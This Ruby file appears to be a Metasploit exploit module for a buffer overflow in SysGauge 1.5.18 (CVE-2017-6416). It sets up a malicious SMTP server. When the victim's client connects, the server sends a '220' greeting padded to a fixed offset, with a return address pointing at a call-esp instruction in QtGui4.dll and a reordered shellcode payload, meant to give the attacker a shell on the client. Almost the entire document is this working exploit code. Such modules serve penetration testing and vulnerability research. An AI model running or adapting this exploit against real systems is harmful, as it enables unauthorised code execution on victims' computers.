81 lines
2.3 KiB
Ruby
81 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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include Msf::Exploit::Remote::TcpServer
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Rank = NormalRanking
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def initialize()
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super(
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'Name' => 'SysGauge SMTP Validation Buffer Overflow',
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'Description' => %q{
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This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
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via its SMTP server validation. The module sends a malicious response along in the
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220 service ready response and exploits the client, resulting in an unprivileged shell.
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},
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'Author' =>
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[
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'Chris Higgins', # msf Module -- @ch1gg1ns
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'Peter Baris' # Initial discovery and PoC
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2017-6416' ],
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[ 'EDB', '41479' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Payload' =>
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{
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'Space' => 306,
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'BadChars' => "\x00\x0a\x0d\x20"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal',
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{
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'Offset' => 176,
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'Ret' => 0x6527635E # call esp # QtGui4.dll
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Feb 28 2017',
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'DefaultTarget' => 0
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)
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
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])
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end
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def on_client_connect(c)
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# Note here that the payload must be split into two parts.
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# The payload gets jumbled in the stack so we need to split
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# and align to get it to execute correctly.
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sploit = "220 "
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sploit << rand_text(target['Offset'])
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# Can only use the last part starting from 232 bytes in
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sploit << payload.encoded[232..-1]
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sploit << rand_text(2)
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sploit << [target.ret].pack('V')
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sploit << rand_text(12)
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sploit << make_nops(8)
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# And the first part up to 232 bytes
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sploit << payload.encoded[0..231]
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sploit << "ESMTP Sendmail \r\n"
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print_status("Client connected: " + c.peerhost)
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print_status("Sending payload...")
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c.put(sploit)
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end
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end
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